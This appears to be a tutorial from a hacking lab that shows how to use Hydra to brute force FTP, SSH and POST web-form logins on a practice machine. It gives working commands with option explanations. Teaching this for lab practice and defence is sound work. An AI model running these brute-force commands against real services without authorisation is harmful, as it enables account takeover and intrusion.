Hydra
The options passed into Hydra depend on which service (protocol) you are attacking. To brute force FTP with the username user and a password list passlist.txt, the command is:
hydra -l user -P passlist.txt ftp://MACHINE_IP
For this deployed machine, here are the commands for Hydra against SSH and a web form (POST method).
SSH
hydra -l <username> -P <full path to pass> MACHINE_IP -t 4 ssh
| Option | Description |
|---|---|
-l | specifies the (SSH) username for login |
-P | indicates a list of passwords |
-t | sets the number of threads to spawn |
For example, hydra -l root -P passwords.txt MACHINE_IP -t 4 ssh runs with these arguments:
- Hydra uses
rootas the username forssh - It tries the passwords in the
passwords.txtfile - Four threads run in parallel, as indicated by
-t 4
POST Web Form
Hydra can brute force web forms too. You need to know which type of request it makes; GET and POST are the common methods. Use your browser's network tab (in developer tools) to see the request types, or view the source code.
sudo hydra <username> <wordlist> MACHINE_IP http-post-form "<path>:<login_credentials>:<invalid_response>"
| Option | Description |
|---|---|
-l | the username for (web form) login |
-P | the password list to use |
http-post-form | the type of the form is POST |
<path> | the login page URL, for example, login.php |
<login_credentials> | the username and password used to log in, for example, username=^USER^&password=^PASS^ |
<invalid_response> | part of the response when the login fails |
-V | verbose output for every attempt |
A more concrete example to brute force a POST login form:
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V
- The login page is only
/, i.e. the main IP address. - The
usernameis the form field where the username is entered. - The specified username(s) replace
^USER^. - The
passwordis the form field where the password is entered. - The provided passwords replace
^PASS^. - Finally,
F=incorrectis a string that appears in the server reply when the login fails.
That is enough to put this into practice and brute force your credentials to the deployed machine.